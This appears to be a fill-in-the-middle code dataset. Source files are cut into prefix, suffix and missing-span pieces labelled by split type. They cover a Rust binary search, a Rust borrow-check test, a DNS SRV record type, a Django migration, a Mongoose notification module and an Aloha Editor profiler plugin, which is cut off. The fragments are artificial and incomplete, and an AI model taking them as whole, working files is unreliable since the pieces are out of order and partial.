} width /= 2; } return -1; } fn main() { println!("{}", chop(3, &[1,3,5])); } #[test] fn test_chop() { assert_eq!(-1, chop(3, &[])); assert_eq!(-1, chop(3, &[1])); assert_eq!(0, chop(1, &[1])); assert_eq!(0, chop(1, &[1, 3, 5])); assert_eq!(1, chop(3, &[1, 3, 5])); assert_eq!(2, chop(5, &[1, 3, 5])); assert_eq!(-1, chop(0, &[1, 3, 5])); assert_eq!(-1, chop(2, &[1, 3, 5])); assert_eq!(-1, chop(4, &[1, 3, 5])); assert_eq!(-1, chop(6, &[1, 3, 5])); assert_eq!(0, chop(1, &[1, 3, 5, 7])); assert_eq!(1, chop(3, &[1, 3, 5, 7])); assert_eq!(2, chop(5, &[1, 3, 5, 7])); assert_eq!(3, chop(7, &[1, 3, 5, 7])); assert_eq!(-1, chop(0, &[1, 3, 5, 7])); assert_eq!(-1, chop(2, &[1, 3, 5, 7])); assert_eq!(-1, chop(4, &[1, 3, 5, 7])); assert_eq!(-1, chop(6, &[1, 3, 5, 7])); assert_eq!(-1, chop(8, &[1, 3, 5, 7])); }
{ let length = slice.len(); // Catch empty slices if length < 1 { return -1; } let mut width = length; let mut low = 0; while width > 0 { let mid_index = low + (width / 2); let comparison = item.cmp(&slice[mid_index]); match comparison { Less => (), Greater => { low = mid_index + 1; width -= 1; } Equal => return mid_index as i32
identifier_body
main.rs
use std::cmp::Ord; use std::cmp::Ordering::{Less, Equal, Greater}; fn chop<T: Ord>(item : T, slice : &[T]) -> i32 { let length = slice.len(); // Catch empty slices if length < 1 { return -1; } let mut width = length; let mut low = 0; while width > 0 { let mid_index = low + (width / 2); let comparison = item.cmp(&slice[mid_index]); match comparison { Less => (), Greater => { low = mid_index + 1; width -= 1; }
return -1; } fn main() { println!("{}", chop(3, &[1,3,5])); } #[test] fn test_chop() { assert_eq!(-1, chop(3, &[])); assert_eq!(-1, chop(3, &[1])); assert_eq!(0, chop(1, &[1])); assert_eq!(0, chop(1, &[1, 3, 5])); assert_eq!(1, chop(3, &[1, 3, 5])); assert_eq!(2, chop(5, &[1, 3, 5])); assert_eq!(-1, chop(0, &[1, 3, 5])); assert_eq!(-1, chop(2, &[1, 3, 5])); assert_eq!(-1, chop(4, &[1, 3, 5])); assert_eq!(-1, chop(6, &[1, 3, 5])); assert_eq!(0, chop(1, &[1, 3, 5, 7])); assert_eq!(1, chop(3, &[1, 3, 5, 7])); assert_eq!(2, chop(5, &[1, 3, 5, 7])); assert_eq!(3, chop(7, &[1, 3, 5, 7])); assert_eq!(-1, chop(0, &[1, 3, 5, 7])); assert_eq!(-1, chop(2, &[1, 3, 5, 7])); assert_eq!(-1, chop(4, &[1, 3, 5, 7])); assert_eq!(-1, chop(6, &[1, 3, 5, 7])); assert_eq!(-1, chop(8, &[1, 3, 5, 7])); }
Equal => return mid_index as i32 } width /= 2; }
random_line_split
main.rs
use std::cmp::Ord; use std::cmp::Ordering::{Less, Equal, Greater}; fn
<T: Ord>(item : T, slice : &[T]) -> i32 { let length = slice.len(); // Catch empty slices if length < 1 { return -1; } let mut width = length; let mut low = 0; while width > 0 { let mid_index = low + (width / 2); let comparison = item.cmp(&slice[mid_index]); match comparison { Less => (), Greater => { low = mid_index + 1; width -= 1; } Equal => return mid_index as i32 } width /= 2; } return -1; } fn main() { println!("{}", chop(3, &[1,3,5])); } #[test] fn test_chop() { assert_eq!(-1, chop(3, &[])); assert_eq!(-1, chop(3, &[1])); assert_eq!(0, chop(1, &[1])); assert_eq!(0, chop(1, &[1, 3, 5])); assert_eq!(1, chop(3, &[1, 3, 5])); assert_eq!(2, chop(5, &[1, 3, 5])); assert_eq!(-1, chop(0, &[1, 3, 5])); assert_eq!(-1, chop(2, &[1, 3, 5])); assert_eq!(-1, chop(4, &[1, 3, 5])); assert_eq!(-1, chop(6, &[1, 3, 5])); assert_eq!(0, chop(1, &[1, 3, 5, 7])); assert_eq!(1, chop(3, &[1, 3, 5, 7])); assert_eq!(2, chop(5, &[1, 3, 5, 7])); assert_eq!(3, chop(7, &[1, 3, 5, 7])); assert_eq!(-1, chop(0, &[1, 3, 5, 7])); assert_eq!(-1, chop(2, &[1, 3, 5, 7])); assert_eq!(-1, chop(4, &[1, 3, 5, 7])); assert_eq!(-1, chop(6, &[1, 3, 5, 7])); assert_eq!(-1, chop(8, &[1, 3, 5, 7])); }
chop
identifier_name
borrowck-unboxed-closures.rs
// Copyright 2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. #![feature(overloaded_calls, unboxed_closures)] fn a<F:Fn(isize, isize) -> isize>(mut f: F) { let g = &mut f; f(1, 2); //~ ERROR cannot borrow `f` as immutable //~^ ERROR cannot borrow `f` as immutable } fn b<F:FnMut(isize, isize) -> isize>(f: F) { f(1, 2); //~ ERROR cannot borrow immutable local variable } fn c<F:FnOnce(isize, isize) -> isize>(f: F) { f(1, 2); f(1, 2); //~ ERROR use of moved value } fn main()
{}
identifier_body
borrowck-unboxed-closures.rs
// Copyright 2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. #![feature(overloaded_calls, unboxed_closures)] fn a<F:Fn(isize, isize) -> isize>(mut f: F) { let g = &mut f; f(1, 2); //~ ERROR cannot borrow `f` as immutable //~^ ERROR cannot borrow `f` as immutable } fn b<F:FnMut(isize, isize) -> isize>(f: F) { f(1, 2); //~ ERROR cannot borrow immutable local variable } fn c<F:FnOnce(isize, isize) -> isize>(f: F) { f(1, 2);
f(1, 2); //~ ERROR use of moved value } fn main() {}
random_line_split
borrowck-unboxed-closures.rs
// Copyright 2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. #![feature(overloaded_calls, unboxed_closures)] fn a<F:Fn(isize, isize) -> isize>(mut f: F) { let g = &mut f; f(1, 2); //~ ERROR cannot borrow `f` as immutable //~^ ERROR cannot borrow `f` as immutable } fn
<F:FnMut(isize, isize) -> isize>(f: F) { f(1, 2); //~ ERROR cannot borrow immutable local variable } fn c<F:FnOnce(isize, isize) -> isize>(f: F) { f(1, 2); f(1, 2); //~ ERROR use of moved value } fn main() {}
b
identifier_name
rfc2782.rs
//! Record data from [RFC 2782]. //! //! This RFC defines the Srv record type. //! //! [RFC 2782]: https://tools.ietf.org/html/rfc2782 use std::fmt; use ::bits::{Composer, ComposeResult, DNameSlice, ParsedRecordData, Parser, ParseResult, RecordData, DName, DNameBuf, ParsedDName}; use ::iana::Rtype; use ::master::{Scanner, ScanResult}; //------------ Srv --------------------------------------------------------- #[derive(Clone, Debug, Eq, Ord, PartialEq, PartialOrd)] pub struct Srv<N: DName> { priority: u16, weight: u16, port: u16, target: N } impl<N: DName> Srv<N> { pub fn new(priority: u16, weight: u16, port: u16, target: N) -> Self { Srv { priority: priority, weight: weight, port: port, target: target } } pub fn priority(&self) -> u16 { self.priority } pub fn weight(&self) -> u16 { self.weight } pub fn port(&self) -> u16 { self.port } pub fn target(&self) -> &N { &self.target } } impl<'a> Srv<ParsedDName<'a>> { fn parse_always(parser: &mut Parser<'a>) -> ParseResult<Self> { Ok(Self::new(try!(parser.parse_u16()), try!(parser.parse_u16()), try!(parser.parse_u16()), try!(ParsedDName::parse(parser)))) } } impl Srv<DNameBuf> { pub fn scan<S: Scanner>(scanner: &mut S, origin: Option<&DNameSlice>) -> ScanResult<Self> { Ok(Self::new(try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(DNameBuf::scan(scanner, origin)))) } } impl<N: DName> RecordData for Srv<N> { fn rtype(&self) -> Rtype { Rtype::Srv } fn compose<C: AsMut<Composer>>(&self, mut target: C) -> ComposeResult<()> { target.as_mut().compose_u16(self.priority)?; target.as_mut().compose_u16(self.weight)?; target.as_mut().compose_u16(self.port)?; self.target.compose(target) } } impl<'a> ParsedRecordData<'a> for Srv<ParsedDName<'a>> { fn parse(rtype: Rtype, parser: &mut Parser<'a>) -> ParseResult<Option<Self>> { if rtype == Rtype::Srv { Srv::parse_always(parser).map(Some) } else { Ok(None) } } } impl<N: DName + fmt::Display> fmt::Display for Srv<N> { fn
(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{} {} {} {}", self.priority, self.weight, self.port, self.target) } }
fmt
identifier_name
rfc2782.rs
//! Record data from [RFC 2782]. //! //! This RFC defines the Srv record type. //! //! [RFC 2782]: https://tools.ietf.org/html/rfc2782 use std::fmt; use ::bits::{Composer, ComposeResult, DNameSlice, ParsedRecordData, Parser, ParseResult, RecordData, DName, DNameBuf, ParsedDName}; use ::iana::Rtype; use ::master::{Scanner, ScanResult}; //------------ Srv --------------------------------------------------------- #[derive(Clone, Debug, Eq, Ord, PartialEq, PartialOrd)] pub struct Srv<N: DName> { priority: u16, weight: u16, port: u16, target: N } impl<N: DName> Srv<N> { pub fn new(priority: u16, weight: u16, port: u16, target: N) -> Self { Srv { priority: priority, weight: weight, port: port, target: target } } pub fn priority(&self) -> u16 { self.priority } pub fn weight(&self) -> u16 { self.weight } pub fn port(&self) -> u16 { self.port } pub fn target(&self) -> &N { &self.target } } impl<'a> Srv<ParsedDName<'a>> { fn parse_always(parser: &mut Parser<'a>) -> ParseResult<Self> { Ok(Self::new(try!(parser.parse_u16()), try!(parser.parse_u16()), try!(parser.parse_u16()), try!(ParsedDName::parse(parser)))) } } impl Srv<DNameBuf> { pub fn scan<S: Scanner>(scanner: &mut S, origin: Option<&DNameSlice>) -> ScanResult<Self> { Ok(Self::new(try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(DNameBuf::scan(scanner, origin)))) } } impl<N: DName> RecordData for Srv<N> { fn rtype(&self) -> Rtype { Rtype::Srv } fn compose<C: AsMut<Composer>>(&self, mut target: C) -> ComposeResult<()> { target.as_mut().compose_u16(self.priority)?; target.as_mut().compose_u16(self.weight)?; target.as_mut().compose_u16(self.port)?; self.target.compose(target) } } impl<'a> ParsedRecordData<'a> for Srv<ParsedDName<'a>> { fn parse(rtype: Rtype, parser: &mut Parser<'a>) -> ParseResult<Option<Self>> { if rtype == Rtype::Srv { Srv::parse_always(parser).map(Some) } else
} } impl<N: DName + fmt::Display> fmt::Display for Srv<N> { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{} {} {} {}", self.priority, self.weight, self.port, self.target) } }
{ Ok(None) }
conditional_block
rfc2782.rs
//! Record data from [RFC 2782]. //! //! This RFC defines the Srv record type. //! //! [RFC 2782]: https://tools.ietf.org/html/rfc2782 use std::fmt; use ::bits::{Composer, ComposeResult, DNameSlice, ParsedRecordData, Parser, ParseResult, RecordData, DName, DNameBuf, ParsedDName}; use ::iana::Rtype; use ::master::{Scanner, ScanResult}; //------------ Srv --------------------------------------------------------- #[derive(Clone, Debug, Eq, Ord, PartialEq, PartialOrd)] pub struct Srv<N: DName> { priority: u16, weight: u16, port: u16, target: N } impl<N: DName> Srv<N> { pub fn new(priority: u16, weight: u16, port: u16, target: N) -> Self { Srv { priority: priority, weight: weight, port: port, target: target } } pub fn priority(&self) -> u16 { self.priority } pub fn weight(&self) -> u16 { self.weight } pub fn port(&self) -> u16 { self.port } pub fn target(&self) -> &N { &self.target } } impl<'a> Srv<ParsedDName<'a>> { fn parse_always(parser: &mut Parser<'a>) -> ParseResult<Self> { Ok(Self::new(try!(parser.parse_u16()), try!(parser.parse_u16()), try!(parser.parse_u16()), try!(ParsedDName::parse(parser)))) } } impl Srv<DNameBuf> { pub fn scan<S: Scanner>(scanner: &mut S, origin: Option<&DNameSlice>) -> ScanResult<Self> { Ok(Self::new(try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(DNameBuf::scan(scanner, origin)))) } } impl<N: DName> RecordData for Srv<N> { fn rtype(&self) -> Rtype { Rtype::Srv } fn compose<C: AsMut<Composer>>(&self, mut target: C) -> ComposeResult<()> { target.as_mut().compose_u16(self.priority)?; target.as_mut().compose_u16(self.weight)?; target.as_mut().compose_u16(self.port)?; self.target.compose(target) } } impl<'a> ParsedRecordData<'a> for Srv<ParsedDName<'a>> { fn parse(rtype: Rtype, parser: &mut Parser<'a>) -> ParseResult<Option<Self>>
} impl<N: DName + fmt::Display> fmt::Display for Srv<N> { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{} {} {} {}", self.priority, self.weight, self.port, self.target) } }
{ if rtype == Rtype::Srv { Srv::parse_always(parser).map(Some) } else { Ok(None) } }
identifier_body
rfc2782.rs
//! Record data from [RFC 2782]. //! //! This RFC defines the Srv record type. //! //! [RFC 2782]: https://tools.ietf.org/html/rfc2782 use std::fmt; use ::bits::{Composer, ComposeResult, DNameSlice, ParsedRecordData, Parser, ParseResult, RecordData, DName, DNameBuf, ParsedDName}; use ::iana::Rtype; use ::master::{Scanner, ScanResult}; //------------ Srv ---------------------------------------------------------
priority: u16, weight: u16, port: u16, target: N } impl<N: DName> Srv<N> { pub fn new(priority: u16, weight: u16, port: u16, target: N) -> Self { Srv { priority: priority, weight: weight, port: port, target: target } } pub fn priority(&self) -> u16 { self.priority } pub fn weight(&self) -> u16 { self.weight } pub fn port(&self) -> u16 { self.port } pub fn target(&self) -> &N { &self.target } } impl<'a> Srv<ParsedDName<'a>> { fn parse_always(parser: &mut Parser<'a>) -> ParseResult<Self> { Ok(Self::new(try!(parser.parse_u16()), try!(parser.parse_u16()), try!(parser.parse_u16()), try!(ParsedDName::parse(parser)))) } } impl Srv<DNameBuf> { pub fn scan<S: Scanner>(scanner: &mut S, origin: Option<&DNameSlice>) -> ScanResult<Self> { Ok(Self::new(try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(scanner.scan_u16()), try!(DNameBuf::scan(scanner, origin)))) } } impl<N: DName> RecordData for Srv<N> { fn rtype(&self) -> Rtype { Rtype::Srv } fn compose<C: AsMut<Composer>>(&self, mut target: C) -> ComposeResult<()> { target.as_mut().compose_u16(self.priority)?; target.as_mut().compose_u16(self.weight)?; target.as_mut().compose_u16(self.port)?; self.target.compose(target) } } impl<'a> ParsedRecordData<'a> for Srv<ParsedDName<'a>> { fn parse(rtype: Rtype, parser: &mut Parser<'a>) -> ParseResult<Option<Self>> { if rtype == Rtype::Srv { Srv::parse_always(parser).map(Some) } else { Ok(None) } } } impl<N: DName + fmt::Display> fmt::Display for Srv<N> { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{} {} {} {}", self.priority, self.weight, self.port, self.target) } }
#[derive(Clone, Debug, Eq, Ord, PartialEq, PartialOrd)] pub struct Srv<N: DName> {
random_line_split
0004_auto_20170703_1156.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2017-07-03 18:56 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.manager class Migration(migrations.Migration):
field=models.URLField(blank=True, null=True), ), migrations.AlterField( model_name='tag', name='desc', field=models.SlugField(unique=True, verbose_name='Tag'), ), ]
dependencies = [ ('wiblog', '0003_auto_20160325_1441'), ] operations = [ migrations.AlterModelManagers( name='comment', managers=[ ('approved', django.db.models.manager.Manager()), ], ), migrations.AlterModelManagers( name='post', managers=[ ('published', django.db.models.manager.Manager()), ], ), migrations.AlterField( model_name='comment', name='url',
identifier_body
0004_auto_20170703_1156.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2017-07-03 18:56 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.manager
class Migration(migrations.Migration): dependencies = [ ('wiblog', '0003_auto_20160325_1441'), ] operations = [ migrations.AlterModelManagers( name='comment', managers=[ ('approved', django.db.models.manager.Manager()), ], ), migrations.AlterModelManagers( name='post', managers=[ ('published', django.db.models.manager.Manager()), ], ), migrations.AlterField( model_name='comment', name='url', field=models.URLField(blank=True, null=True), ), migrations.AlterField( model_name='tag', name='desc', field=models.SlugField(unique=True, verbose_name='Tag'), ), ]
random_line_split
0004_auto_20170703_1156.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2017-07-03 18:56 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.manager class
(migrations.Migration): dependencies = [ ('wiblog', '0003_auto_20160325_1441'), ] operations = [ migrations.AlterModelManagers( name='comment', managers=[ ('approved', django.db.models.manager.Manager()), ], ), migrations.AlterModelManagers( name='post', managers=[ ('published', django.db.models.manager.Manager()), ], ), migrations.AlterField( model_name='comment', name='url', field=models.URLField(blank=True, null=True), ), migrations.AlterField( model_name='tag', name='desc', field=models.SlugField(unique=True, verbose_name='Tag'), ), ]
Migration
identifier_name
usernotification.js
'use strict'; const async = require('async'); const mongoose = require('mongoose'); const UserNotification = mongoose.model('Usernotification'); const DEFAULT_LIMIT = 50; const DEFAULT_OFFSET = 0; module.exports = { countForUser, create, get, getAll, getForUser, remove, setAcknowledged, setAllRead, setRead }; function countForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } return UserNotification.count(q).exec(callback); } function create(usernotification, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } new UserNotification(usernotification).save(callback); } function
(id, callback) { if (!id) { return callback(new Error('id is not defined')); } return UserNotification.findById(id).exec(callback); } function getAll(ids, callback) { if (!ids) { return callback(new Error('id is not defined')); } const formattedIds = ids.map(id => mongoose.Types.ObjectId(id)); const query = { _id: { $in: formattedIds } }; return UserNotification.find(query).exec(callback); } function getForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } const mq = UserNotification.find(q); mq.limit(+query.limit || DEFAULT_LIMIT); mq.skip(+query.offset || DEFAULT_OFFSET); mq.sort('-timestamps.creation'); mq.exec(callback); } function remove(query, callback) { UserNotification.remove(query, callback); } function setAcknowledged(usernotification, acknowledged, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.acknowledged = acknowledged; usernotification.save(callback); } function setAllRead(usernotifications, read, callback) { if (!usernotifications) { return callback(new Error('usernotification is required')); } async.each(usernotifications, setRead, callback); function setRead(usernotification, cb) { usernotification.read = read; usernotification.save(cb); } } function setRead(usernotification, read, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.read = read; usernotification.save(callback); }
get
identifier_name
usernotification.js
'use strict'; const async = require('async'); const mongoose = require('mongoose'); const UserNotification = mongoose.model('Usernotification'); const DEFAULT_LIMIT = 50; const DEFAULT_OFFSET = 0; module.exports = { countForUser, create, get, getAll, getForUser, remove, setAcknowledged, setAllRead, setRead }; function countForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } return UserNotification.count(q).exec(callback); } function create(usernotification, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } new UserNotification(usernotification).save(callback); } function get(id, callback) { if (!id) { return callback(new Error('id is not defined')); } return UserNotification.findById(id).exec(callback); } function getAll(ids, callback) {
if (!ids) { return callback(new Error('id is not defined')); } const formattedIds = ids.map(id => mongoose.Types.ObjectId(id)); const query = { _id: { $in: formattedIds } }; return UserNotification.find(query).exec(callback); } function getForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } const mq = UserNotification.find(q); mq.limit(+query.limit || DEFAULT_LIMIT); mq.skip(+query.offset || DEFAULT_OFFSET); mq.sort('-timestamps.creation'); mq.exec(callback); } function remove(query, callback) { UserNotification.remove(query, callback); } function setAcknowledged(usernotification, acknowledged, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.acknowledged = acknowledged; usernotification.save(callback); } function setAllRead(usernotifications, read, callback) { if (!usernotifications) { return callback(new Error('usernotification is required')); } async.each(usernotifications, setRead, callback); function setRead(usernotification, cb) { usernotification.read = read; usernotification.save(cb); } } function setRead(usernotification, read, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.read = read; usernotification.save(callback); }
random_line_split
usernotification.js
'use strict'; const async = require('async'); const mongoose = require('mongoose'); const UserNotification = mongoose.model('Usernotification'); const DEFAULT_LIMIT = 50; const DEFAULT_OFFSET = 0; module.exports = { countForUser, create, get, getAll, getForUser, remove, setAcknowledged, setAllRead, setRead }; function countForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } return UserNotification.count(q).exec(callback); } function create(usernotification, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } new UserNotification(usernotification).save(callback); } function get(id, callback) { if (!id) { return callback(new Error('id is not defined')); } return UserNotification.findById(id).exec(callback); } function getAll(ids, callback) { if (!ids) { return callback(new Error('id is not defined')); } const formattedIds = ids.map(id => mongoose.Types.ObjectId(id)); const query = { _id: { $in: formattedIds } }; return UserNotification.find(query).exec(callback); } function getForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } const mq = UserNotification.find(q); mq.limit(+query.limit || DEFAULT_LIMIT); mq.skip(+query.offset || DEFAULT_OFFSET); mq.sort('-timestamps.creation'); mq.exec(callback); } function remove(query, callback)
function setAcknowledged(usernotification, acknowledged, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.acknowledged = acknowledged; usernotification.save(callback); } function setAllRead(usernotifications, read, callback) { if (!usernotifications) { return callback(new Error('usernotification is required')); } async.each(usernotifications, setRead, callback); function setRead(usernotification, cb) { usernotification.read = read; usernotification.save(cb); } } function setRead(usernotification, read, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.read = read; usernotification.save(callback); }
{ UserNotification.remove(query, callback); }
identifier_body
usernotification.js
'use strict'; const async = require('async'); const mongoose = require('mongoose'); const UserNotification = mongoose.model('Usernotification'); const DEFAULT_LIMIT = 50; const DEFAULT_OFFSET = 0; module.exports = { countForUser, create, get, getAll, getForUser, remove, setAcknowledged, setAllRead, setRead }; function countForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } return UserNotification.count(q).exec(callback); } function create(usernotification, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } new UserNotification(usernotification).save(callback); } function get(id, callback) { if (!id)
return UserNotification.findById(id).exec(callback); } function getAll(ids, callback) { if (!ids) { return callback(new Error('id is not defined')); } const formattedIds = ids.map(id => mongoose.Types.ObjectId(id)); const query = { _id: { $in: formattedIds } }; return UserNotification.find(query).exec(callback); } function getForUser(user, query, callback) { const id = user._id || user; const q = {target: id, acknowledged: false}; query = query || {}; if (query.read !== undefined) { q.read = query.read; } const mq = UserNotification.find(q); mq.limit(+query.limit || DEFAULT_LIMIT); mq.skip(+query.offset || DEFAULT_OFFSET); mq.sort('-timestamps.creation'); mq.exec(callback); } function remove(query, callback) { UserNotification.remove(query, callback); } function setAcknowledged(usernotification, acknowledged, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.acknowledged = acknowledged; usernotification.save(callback); } function setAllRead(usernotifications, read, callback) { if (!usernotifications) { return callback(new Error('usernotification is required')); } async.each(usernotifications, setRead, callback); function setRead(usernotification, cb) { usernotification.read = read; usernotification.save(cb); } } function setRead(usernotification, read, callback) { if (!usernotification) { return callback(new Error('usernotification is required')); } usernotification.read = read; usernotification.save(callback); }
{ return callback(new Error('id is not defined')); }
conditional_block
profiler-plugin.js
Public License * as published by the Free Software Foundation; either version 2 * of the License, or any later version. * * Aloha Editor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * As an additional permission to the GNU GPL version 2, you may distribute * non-source (e.g., minimized or compacted) forms of the Aloha-Editor * source code without the copy of the GNU GPL normally required, * provided you include this license notice and a URL through which * recipients can access the Corresponding Source. */ /* Aloha Profiler * -------------- * Provides a useful interface to profile some of Aloha components and their * methods. * * Potentially process intensive methods: * Aloha.Profiler.profileAlohaComponent('Markup.preProcessKeyStrokes') * Aloha.Profiler.profileAlohaComponent('Selection._updateSelection') */ window.define( [ 'aloha/core', 'aloha/plugin', 'aloha/editable', // 'aloha/sidebar', 'aloha/selection', 'aloha/markup', 'aloha/contenthandlermanager', 'aloha/floatingmenu', 'aloha/console', 'css!profiler/css/profiler' ], function( Aloha, Plugin, /* Sidebar */ Editable, Selection, Markup, ContentHandlerManager, FloatingMenu, console ) { // 'caller', 'callee', and 'arguments' properties may not be accessed on // strict mode functions or the arguments objects for calls to them // var jQuery = Aloha.jQuery, profiledFunctions = [], // get the arguments string literal of this function, and split it into // an array of names argsStr = ( /function[^\(]*\(([^\)]+)/g ).exec( arguments.callee.toString() ), argNames = argsStr ? argsStr[1].replace( /^\s+|\s+$/g, '' ).split( /\,\s*/ ) : [], args = Array.prototype.slice.call( arguments ); /** * @param {String} path dot seperated path to resolve inside a given object * or browser window * @param {?Object} object inwhich to resolve a path. If no object is * passed, the browser window object will be used instead * @return {?} Object */ function resolvePath(path, obj) { if ( typeof path !== 'string' ) { return path; } if ( !obj || typeof obj !== 'object' ) { obj = window; } var parts = path.split( '.' ), i = 0, j = parts.length; for ( ; i < j; ++i ) { obj = obj[ parts[ i ] ]; if ( typeof obj === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + parts[ i ] + '" does not exist' + ( i ? ' in object ' + parts.slice( 0, i ).join( '.' ) : '' ) ); return null; } } return obj; }; function
( path, obj ) { if ( typeof path !== 'string' ) { return null; } var parts = path.split( '.' ), pathToProp = parts.slice( 0, Math.max( 1, parts.length - 1 ) ).join( '.' ), prop; obj = resolvePath( pathToProp, obj ); if ( !obj ) { return null; } if ( parts.length > 1 ) { var lastProp = parts[ parts.length - 1 ]; if ( typeof obj[ lastProp ] === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + lastProp + '" does not exist in object ' + pathToProp ); } else { prop = lastProp; } } return { obj : obj[ prop ], path : path, parentObj : obj, propName : prop }; }; var panel; function initSidebarPanel(sidebar) { sidebar.addPanel( { id : 'aloha-devtool-profiler-panel', title : 'Aloha Profiler', expanded : true, activeOn : true, content : '' + '<div id="aloha-devtool-profiler-container">' + '<input id="aloha-devtool-profiler-input" ' + 'value="Aloha.Profiler.profileAlohaComponent(\'Markup.preProcessKeyStrokes\')" />' + '<ul id="aloha-devtool-profiler-console"></ul>' + '</div>', onInit : function() { this.content.find( 'input#aloha-devtool-profiler-input' ).keydown( function( event ) { // Handle ENTER if ( event.keyCode === 13 ) { var input = jQuery( this ); var value = input.val(); if ( value ) { eval( value ); PanelConsole.log( value ); input.val( '' ); } } } ); } } ); sidebar.show().open(); }; var PanelConsole = { log: function() { jQuery( '#aloha-devtool-profiler-console' ) .prepend( '<li>' + Array.prototype.slice.call( arguments ).join( ' ' ) + '</li>' ); } } Aloha.Profiler = Plugin.create( 'profiler', { /** * Explose all dependencies to allow easy access. eg: * If the 5th dependency was Markup, then: * Aloha.Profiler.profile(Aloha.Profiler.alohaObjects[4], 'preProcessKeyStrokes') * would start profiling the Markup.preProcessKeyStrokes method. */ loadedDependencies: Array.prototype.slice.call( arguments ), /** * Provides a better interface to access various components of Aloha. * eg: Aloha.Profiler.profile(Aloha.Profiler.alohaComponents[ 'Markup' ], 'preProcessKeyStrokes') */ alohaComponents: {}, panel: null, /** * Initializes Profiler plugin by populating alohaComponents with all * arguments of our define function, mapping name, to object */ init: function() { var j = argNames.length; while ( --j >= 0 ) { this.alohaComponents[ argNames[ j ] ] = args[ j ]; } var that = this; Aloha.ready( function() { if ( Aloha.Sidebar && Aloha.Sidebar.right ) { that.panel = initSidebarPanel( Aloha.Sidebar.right ); } } ); }, log: function() { PanelConsole.log.apply( PanelConsole, arguments ); }, /** * Shortcut to profile one of the Aloha components that was required by * Aloha Profiler. * * @param {String} path * @param {String} fnName */ profileAlohaComponent: function( path, fnName ) { var parts = parseObjectPath( path, this.alohaComponents ); return this.profile( parts.parentObj, fnName || parts.propName ); }, /** * @param {(Object|String)} obj object or path to object that contains * the function we want to profile. Or the path to the * function itself * @param {String} fnName name of function inside obj, which we want to * profile * @param {?Function(Function, Array):Boolean} intercept functiont to * call each time this method is invoked */ profile: function( obj, fnName, intercept ) { var path, parts, objIndex = -1, i; if ( typeof obj === 'string' ) { parts = parseObjectPath( obj ); obj = parts.parentObj; path = parts.path + ( fnName ? '.' + fnName : '' ); if ( parts.propName ) { if ( typeof parts.obj === 'function' ) { fnName = parts.propName; } else if ( parts.obj === 'object' ) { obj = parts.obj; } } } if ( !obj || !fnName || typeof obj[ fnName ] !== 'function' ) { return; } for ( i = 0; i < profiledFunctions.length; ++i ) { if ( profiledFunctions[ i ] === obj ) { objIndex = i; if ( profiledFunctions[ i ][ fnName ] ) { return; } } } var fn = obj[ fnName ];
parseObjectPath
identifier_name
